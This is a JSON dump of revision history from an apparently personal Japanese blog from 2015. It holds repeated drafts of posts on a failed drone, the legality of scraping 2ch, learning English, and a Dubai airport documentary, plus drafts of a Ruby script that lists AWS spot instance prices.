の接続が切れて、そのままコントロールできなくなって勝手に上昇しはじめてどっか消えました。限界高度の上空 150m まで上がって電池切れになるまで滞空して墜落したものと思われます。\r\n\r\n現在滞在してる箇所周辺のニュースなどをみて、無人機の墜落で対人対物の被害が出てないか確認しましたが、特にそういうニュースはなかったので安心しました。\r\n\r\n### 二個目\r\n2 回目の起動でコントロール用アプリの Free Flight 3 から認識されなくなりました。 PC に繋いだ場合などでも MTP デバイスとして認識されはするけどファイルは閲覧不可能な状態に。\r\n\r\nUSB 経由でファームウェア再書き込みすれば直る可能性を若干感じさせる挙動だけど、出先なので確認不能。\r\n\r\n\r\n## まとめ\r\n本当に一瞬にして壊れるので、これをなにか真面目な用途に使おうと思ったらバックアップ用の機体を 5 個ぐらい持っていったほうがいいですし、そうなると小型軽量という本機のメリットはトイレに流されることになります。\r\n\r\nまた一瞬にしてコントロール不能になり、コントロール不能になっても平然と飛行を続けるという糞のような挙動は重大な事故を招く可能性があります。\r\n\r\n絶対に買わないほうがいいです。","created_at":"2015-02-15T08:00:48.000Z","updated_at":"2015-02-15T08:00:48.000Z"},{"id":2802,"name":"text/2ch のアレ","body":"%blog%\r\n\r\nrobots.txt は法律上以下のようになってます。\r\n\r\n- 無視してクロールしてもいいけど、無視してクロールした結果を公開するのはダメ\r\n\r\nつまり新 2ch では以下のようなサイトが法律上 NG になります\r\n\r\n- API キーをアプリから解析して新 API 勝手に使ったりクロールしたりして過去ログ公開するようなサイト\r\n- 上記のような仕組みで旧 2ch っぽいインターフェイスを提供するプロキシサイト\r\n- 上記のような仕組みで動作する Web アプリケーション型 2ch クライアント\r\n\r\nOK なのは以下の行為です\r\n\r\n- スクレイピングして動作するデスクトップ、携帯電話向けのクライアントを開発、配布する\r\n\r\n無論、これらのクライアントが常軌を逸した動作をして、結果 2ch のサービス継続を妨害するようなことがあれば、 2ch は民事、刑事で適切な対応を取ることができるでしょう。この場合参考になるのは librahack 事件で、\r\n\r\n- 並列にクロールしない\r\n- ウェイトを 1 秒ぐらい入れておく\r\n\r\nというのをやれば日本では問題ないとされています。\r\n\r\n「技術的保護手段」を回避してクロールしたとしても、その結果を公開しなければ刑事上の責任は発生しません。\r\n\r\nまた新 API を実装した 2ch が「2ch が認証するクライアント、方法以外でのアクセスを禁止する」という利用規約を設定した場合、 2ch はスクレイピングする人と民事で争うことは可能だろうとは思います。\r\n\r\nただ、新聞社の記事の違法な転載でアクセス稼ぎまくってる 2ch がそういう訴訟提起かというと微妙でしょう。だいたいアメリカの会社ですし。\r\n\r\n他には、 2ch が規定する以外の閲覧形式を提供したということで、著作人格権の同一性保持権を使って刑事でやっていくというのも考えられますが、[ゲームのエミュ鯖というかなりグレーな感じするものでも「同一性保持権の侵害」では挙げられない](http://ssig33.com/text/%E3%82%A8%E3%83%9F%E3%83%A5%E9%AF%96%E9%80%81%E6%A4%9C%E3%81%AE%E8%A9%B1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)というのが日本の検察の判断なのでこれもまあ無理でしょう。\r\n\r\n### まとめ\r\n2ch.net の脅迫なんか気にせずどんどん勝手にスクレイピングしよう。","created_at":"2015-02-16T21:07:29.000Z","updated_at":"2015-02-16T21:07:29.000Z"},{"id":2803,"name":"text/2ch のアレ","body":"%blog%\r\n\r\nrobots.txt は法律上以下のようになってます。\r\n\r\n- 無視してクロールしてもいいけど、無視してクロールした結果を公開するのはダメ\r\n\r\nつまり新 2ch では以下のようなサイトが法律上 NG になります\r\n\r\n- API キーをアプリから解析して新 API 勝手に使ったりクロールしたりして過去ログ公開するようなサイト\r\n- 上記のような仕組みで旧 2ch っぽいインターフェイスを提供するプロキシサイト\r\n- 上記のような仕組みで動作する Web アプリケーション型 2ch クライアント\r\n\r\nOK なのは以下の行為です\r\n\r\n- スクレイピングして動作するデスクトップ、携帯電話向けのクライアントを開発、配布する\r\n\r\n無論、これらのクライアントが常軌を逸した動作をして、結果 2ch のサービス継続を妨害するようなことがあれば、 2ch は民事、刑事で適切な対応を取ることができるでしょう。この場合参考になるのは librahack 事件で、\r\n\r\n- 並列にクロールしない\r\n- ウェイトを 1 秒ぐらい入れておく\r\n\r\nというのをやれば日本では問題ないとされています。\r\n\r\n「技術的保護手段」を回避してクロールしたとしても、その結果を公開しなければ刑事上の責任は発生しません。\r\n\r\nまた新 API を実装した 2ch が「2ch が認証するクライアント、方法以外でのアクセスを禁止する」という利用規約を設定した場合、 2ch はスクレイピングする人と民事で争うことは可能だろうとは思います。\r\n\r\nただ、新聞社の記事の違法な転載でアクセス稼ぎまくってる 2ch がそういう訴訟提起かというと微妙でしょう。だいたいアメリカの会社ですし。また特定のユーザーエージェントだけ許可するという規約が有効かどうかは、、、という感じです。\r\n\r\n他には、 2ch が規定する以外の閲覧形式を提供したということで、著作人格権の同一性保持権を使って刑事でやっていくというのも考えられますが、[ゲームのエミュ鯖というかなりグレーな感じするものでも「同一性保持権の侵害」では挙げられない](http://ssig33.com/text/%E3%82%A8%E3%83%9F%E3%83%A5%E9%AF%96%E9%80%81%E6%A4%9C%E3%81%AE%E8%A9%B1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)というのが日本の検察の判断なのでこれもまあ無理でしょう。\r\n\r\n### まとめ\r\n2ch.net の脅迫なんか気にせずどんどん勝手にスクレイピングしよう。","created_at":"2015-02-16T21:09:19.000Z","updated_at":"2015-02-16T21:09:19.000Z"},{"id":2804,"name":"text/2ch のアレ","body":"%blog%\r\n\r\nrobots.txt は法律上以下のようになってます。\r\n\r\n- 無視してクロールしてもいいけど、無視してクロールした結果を公開するのはダメ\r\n\r\nつまり新 2ch では以下のようなサイトが法律上 NG になります\r\n\r\n- API キーをアプリから解析して新 API 勝手に使ったりクロールしたりして過去ログ公開するようなサイト\r\n- 上記のような仕組みで旧 2ch っぽいインターフェイスを提供するプロキシサイト\r\n- 上記のような仕組みで動作する Web アプリケーション型 2ch クライアント\r\n\r\nOK なのは以下の行為です\r\n\r\n- スクレイピングして動作するデスクトップ、携帯電話向けのクライアントを開発、配布する\r\n\r\n無論、これらのクライアントが常軌を逸した動作をして、結果 2ch のサービス継続を妨害するようなことがあれば、 2ch は民事、刑事で適切な対応を取ることができるでしょう。この場合参考になるのは librahack 事件で、\r\n\r\n- 並列にクロールしない\r\n- ウェイトを 1 秒ぐらい入れておく\r\n\r\nというのをやれば日本では問題ないとされています。\r\n\r\n「技術的保護手段」を回避してクロールしたとしても、その結果を公開しなければ刑事上の責任は発生しません。\r\n\r\nまた新 API を実装した 2ch が「2ch が認証するクライアント、方法以外でのアクセスを禁止する」という利用規約を設定した場合、 2ch はスクレイピングする人と民事で争うことは可能だろうとは思います。\r\n\r\nただ、新聞社の記事の違法な転載でアクセス稼ぎまくってる 2ch がそういう訴訟提起かというと微妙でしょう。だいたいアメリカの会社ですし。また特定のユーザーエージェントだけ許可するという規約が有効かどうかは、、、という感じです。\r\n\r\n他には、 2ch が規定する以外の閲覧形式を提供したということで、著作人格権の同一性保持権を使って刑事でやっていくというのも考えられますが、[ゲームのエミュ鯖というかなりグレーな感じするものでも「同一性保持権の侵害」では挙げられない](http://ssig33.com/text/%E3%82%A8%E3%83%9F%E3%83%A5%E9%AF%96%E9%80%81%E6%A4%9C%E3%81%AE%E8%A9%B1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)というのが日本の検察の判断なのでこれもまあ無理でしょう。\r\n\r\n### まとめ\r\n2ch.net の脅迫なんか気にせずどんどん勝手にスクレイピングしよう。\r\n\r\n#### ちょっとした私見\r\nTwitter でなんだかんだでみんなスクレイピングしなくなったのは、サイトが動的すぎてスクレイピングしづらいというの以上に、 User Sterams のおかげでスクレイピングなんかしなくてもみんなが満足するクライアント開発できるようになったからです。\r\n\r\n2ch.net が本気で sc を排除したいなら、 sc 以外の誰もがちゃんと満足する API をオープンに提供して、技術的手段で sc のデータ盗難を防ぐようにするのがよいのではないでしょうか。ターゲットの広い変な脅迫は 2ch.net の衰退に繋がると思う。","created_at":"2015-02-17T00:16:03.000Z","updated_at":"2015-02-17T00:16:03.000Z"},{"id":2805,"name":"text/2ch どうしたらいいんだろうか","body":"%blog%\r\n\r\n2ch.net の今後の課題として以下が挙げられるのではないか\r\n\r\n1. 広告収入の増加\r\n2. コミュニティの再活性化\r\n3. 2ch.sc の排除\r\n\r\nこの内 1. 3. の目標のみがクローズアップされ、 2. が無視されているのが現状なのではないか。\r\n\r\n実際のところ 1. の達成の為に一番重要なのは 2. だ。書き込みをしやすい環境にし、書き込みの数を増やしてサイトの魅力を増やさなければならない。\r\n\r\nその観点で見たとき、専用ブラウザ内に広告を表示することを義務化しようという現在の施策は全く間違っている。\r\n\r\nなぜなら、専用ブラウザを使うような人はそもそも絶対に広告をクリック/タップしないからだ。\r\n\r\nそしてわざわざ 2ch に 2015 年にもなって書き込みをしようとする人は、専用ブラウザを用いていることが想像される。\r\n\r\n結果として専用ブラウザに広告表示を義務化することは、書き込みをしようとする人をより不便にして 2ch 離れを招くだけだし、その広告は全くタップされないだろう。\r\n\r\n### コミュニティのために\r\nよって、コミュニティのために最もよい方法は以下の通りではなかろうか。\r\n\r\n- 現状の dat アクセスは維持する\r\n - しかし dat そのものに適宜広告が混ざるようにする\r\n - Twitter のプロモツイートぐらいのものならあまりウザくないだろう\r\n - このような形式でも広告を消す人は消すだろうけど、そもそもそういう人は最初から一切広告をタップしないので問題ない\r\n- 新 API はそれはそれで作る\r\n - 無論仕様はオープンにする\r\n - 現状の dat アクセスはクライアントの作成がめんどくさすぎる\r\n - スレッドを取得しようとすると全データを取らないといけないなど負荷の上でも問題であろう\r\n- Jane Style ブランドではない公式クライアントをデスクトップ、モバイル向けに提供する\r\n - 2010 年代後半の 2ch の標準的な UI というのを改めて提供すべきだろう\r\n\r\n新 API を作成するというのは、それはそれでいいとは思う。 dat アクセスは前時代すぎるインターフェイスで、これによりモバイル時代に最適化されたクライアント開発があまり進んでいないというところがかなりあるだろう。しかし昔からクライアント開発してる人だけを対象にするというのが意味不明すぎる。無論 2ch.sc の人が偽名で API を利用するのを防ぎたいのだろうが、それは後述するとおり無意味だ。\r\n\r\n### 2ch.sc 対策\r\n2ch.sc は .net にしてみれば潰したいだろう。これは以下のような対策をすればよいと思う。\r\n\r\n- 裁判もしくは刑事告訴する\r\n - 当然ながら無理である。 2ch は誰の持ち物かというパンドラの箱を開けてしまうことになる。また .net も身綺麗というわけではなかろう。\r\n- 諦める\r\n - これは比較的現実的な対処と思われる。 2ch.net からの広告収入は .net が得て、まとめブログ系からの収入は .sc 側が受け取るという現状に満足する。\r\n- 技術的対策をとる\r\n - これは不可能である。何故なら .sc は .net をフルミラーリングする必要など全くないからだ。実際現状そのようなことはしていない。 .sc 側はリクエストがあったスレッドだけ剽窃してくればよいし、現状そのようにしている。\r\n - 新 API はこれをやっているつもりなのだろうが、当然 API の仕様はその日のうちに解析され、 .sc は剽窃機能をアップグレードするだろう。\r\n- .net に自前のキュレーションメディアを付加する\r\n - .sc から記事をとってきて livedoor ブログにブログを作るというのよりブロガーが儲かるようなモデルを提供できれば、ある程度まとめブロガーを引っ張ってこられるのではないか。\r\n\r\n### まとめ\r\n余計なことせんほうがええと思うで","created_at":"2015-02-17T22:10:05.000Z","updated_at":"2015-02-17T22:10:05.000Z"},{"id":2806,"name":"text/英語の覚え方","body":"%blog%\r\n\r\n1. ディスカバリーチャンネルを契約してください\r\n2. 以下の番組を見てください\r\n - ベーリング海の一攫千金 (Deadliest Catch)\r\n - ファスト&ラウド\r\n - 上記 2 本はシリーズ無限に再放送されてるので延々と見てください\r\n - ワイルドガレージ(Fat N Furious)\r\n3. GeForce GTX 750Ti ぐらいのグラボを積んだ PC を用意してください\r\n4. Steam をインストールしてアカウントを作ってください\r\n5. 以下のゲームを言語設定英語でプレイしてください\r\n - Skyrim\r\n - Oblivion\r\n - Borderlands 2\r\n - Shadow Of Mordor\r\n\r\n私はこの方法で Best Buy にいる陽気な黒人と PC の買い時や今やるべきゲームについて議論できるようになり、また The Elder Scrolls Online で気持ちの悪いロールプレイが出来るようになりましたが、 TOEIC や TOEFL を受けたことはありません。","created_at":"2015-02-27T03:05:28.000Z","updated_at":"2015-02-27T03:05:28.000Z"},{"id":2807,"name":"text/英語の覚え方","body":"%blog%\r\n\r\n1. ディスカバリーチャンネルを契約してください\r\n2. 以下の番組を見てください\r\n - ベーリング海の一攫千金 (Deadliest Catch)\r\n - ファスト&ラウド\r\n - 上記 2 本はシリーズ無限に再放送されてるので延々と見てください\r\n - ワイルドガレージ(Fat N Furious)\r\n3. GeForce GTX 750Ti ぐらいのグラボを積んだ PC を用意してください\r\n4. Steam をインストールしてアカウントを作ってください\r\n5. 以下のゲームを言語設定英語でプレイしてください\r\n - Skyrim\r\n - Oblivion\r\n - Borderlands 2\r\n - Shadow Of Mordor\r\n\r\n私はこの方法で Best Buy にいる陽気な黒人と PC の買い時や今やるべきゲームについて議論できるようになり、また The Elder Scrolls Online で気持ちの悪いロールプレイが出来るようになりましたが、 TOEIC や TOEFL を受けたことはありません。","created_at":"2015-02-27T03:05:40.000Z","updated_at":"2015-02-27T03:05:40.000Z"},{"id":2808,"name":"text/密着ドバイ国際空港","body":"%blog% 密着!ドバイ国際空港\r\n\r\nという番組があります。現在[ナショジオチャンネルでシーズン 2 が放送中](http://www.ngcjapan.com/tv/lineup/prgmtop/index/prgm_cd/1590)で、 [Hulu でシーズン 1 が配信中です](http://www.hulu.jp/watch/741291)。\r\n\r\nこれが本当に凄まじい番組なので紹介します。\r\n\r\nこの番組の内容を簡単に説明すると\r\n\r\n1. エミレーツ航空とドバイ国際空港は急激に業務を拡大中である\r\n2. 結果空港は大混雑し、エミレーツ航空の顧客サービスは凄まじい勢いで劣化している\r\n3. 一方キャット・スティーヴンスやペレのような一部 VIP は過剰とも言えるサービスを受けることができる\r\n4. 空港の地上オペレーターは能力が不足したまま現場に投入され、中間管理職の努力で現場が維持されている\r\n5. 無理な工期が設定され、下請け業者は徹底的に搾取される\r\n\r\nという様子が延々と紹介されるというものです。\r\n\r\nこのなかでも、 5 のパートは本当に強烈です。番組に、スザンヌ・アル・アラーニは強烈です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"http://t.co/12LEFEuNTc\"\u003epic.twitter.com/12LEFEuNTc\u003c/a\u003e\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/571463249763287040\"\u003eFebruary 28, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n彼女は建設部門子会社の CEO なのですが、一番嫌なタイプの上司炸裂です。\r\n\r\n- 現場にはギリギリになるまでこない\r\n- 現場では作業員にプレッシャーをかけることしかしない\r\n- どう見ても技術的知識が曖昧\r\n- 問題に対して対策を考えることはしない。側近に丸投げ\r\n\r\nこの結果、建設のスケジュールは混乱し、管制官を巻き込んだトラブルが起きたりしています。\r\n\r\n海外旅行する際にはエミレーツ航空とドバイ国際空港は絶対に避けようという気持ちになれるのでオススメです。","created_at":"2015-03-03T09:01:37.000Z","updated_at":"2015-03-03T09:01:37.000Z"},{"id":2809,"name":"text/密着ドバイ国際空港","body":"%blog% 密着!ドバイ国際空港\r\n\r\nという番組があります。現在[ナショジオチャンネルでシーズン 2 が放送中](http://www.ngcjapan.com/tv/lineup/prgmtop/index/prgm_cd/1590)で、 [Hulu でシーズン 1 が配信中です](http://www.hulu.jp/watch/741291)。\r\n\r\nこれが本当に凄まじい番組なので紹介します。\r\n\r\nこの番組の内容を簡単に説明すると\r\n\r\n1. エミレーツ航空とドバイ国際空港は急激に業務を拡大中である\r\n2. 結果空港は大混雑し、エミレーツ航空の顧客サービスは凄まじい勢いで劣化している\r\n3. 一方キャット・スティーヴンスやペレのような一部 VIP は過剰とも言えるサービスを受けることができる\r\n4. 空港の地上オペレーターは能力が不足したまま現場に投入され、中間管理職の努力で現場が維持されている\r\n5. 無理な工期が設定され、下請け業者は徹底的に搾取される\r\n\r\nという様子が延々と紹介されるというものです。\r\n\r\nこのなかでも、 5 のパートは本当に強烈です。その中でもとくにスザンヌ・アル・アラーニは強烈です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"http://t.co/12LEFEuNTc\"\u003epic.twitter.com/12LEFEuNTc\u003c/a\u003e\u003c/p\u003e— 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/571463249763287040\"\u003eFebruary 28, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n彼女は建設部門子会社の CEO なのですが、一番嫌なタイプの上司炸裂です。\r\n\r\n- 現場にはギリギリになるまでこない\r\n- 現場では作業員にプレッシャーをかけることしかしない\r\n- どう見ても技術的知識が曖昧\r\n- 問題に対して対策を考えることはしない。側近に丸投げ\r\n\r\nこの結果、建設のスケジュールは混乱し、管制官を巻き込んだトラブルが起きたりしています。\r\n\r\n海外旅行する際にはエミレーツ航空とドバイ国際空港は絶対に避けようという気持ちになれるのでオススメです。","created_at":"2015-03-03T09:05:56.000Z","updated_at":"2015-03-03T09:05:56.000Z"},{"id":2810,"name":"spot_instance_price","body":"require 'aws-sdk'\r\n\r\nAWS_ID","created_at":"2015-03-09T15:16:55.000Z","updated_at":"2015-03-09T15:16:55.000Z"},{"id":2811,"name":"spot_instance_price","body":"ruby\r\n\r\nrequire 'aws-sdk'\r\n\r\nAWS_ID","created_at":"2015-03-09T15:17:07.000Z","updated_at":"2015-03-09T15:17:07.000Z"},{"id":2812,"name":"spot_instance_price","body":"ruby\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price m3.large","created_at":"2015-03-09T15:17:43.000Z","updated_at":"2015-03-09T15:17:43.000Z"},{"id":2813,"name":"spot_instance_price","body":"ruby\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price \"m3.large\"","created_at":"2015-03-09T15:17:57.000Z","updated_at":"2015-03-09T15:17:57.000Z"},{"id":2814,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price \"m3.large\"","created_at":"2015-03-09T15:18:13.000Z","updated_at":"2015-03-09T15:18:13.000Z"},{"id":2815,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price(\"m3.large\").first.first","created_at":"2015-03-09T15:18:24.000Z","updated_at":"2015-03-09T15:18:24.000Z"},{"id":2816,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\n\"\"","created_at":"2015-03-09T15:18:34.000Z","updated_at":"2015-03-09T15:18:34.000Z"},{"id":2817,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\n\"aaaaaaaaaaaaaaaaa\"","created_at":"2015-03-09T15:18:40.000Z","updated_at":"2015-03-09T15:18:40.000Z"},{"id":2818,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2015-03-09T15:19:36.000Z","updated_at":"2015-03-09T15:19:36.000Z"},{"id":2819,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {})","created_at":"2015-03-09T15:19:47.000Z","updated_at":"2015-03-09T15:19:47.000Z"},{"id":2820,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n is.to_json\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:24:04.000Z","updated_at":"2015-03-09T15:24:04.000Z"},{"id":2821,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', 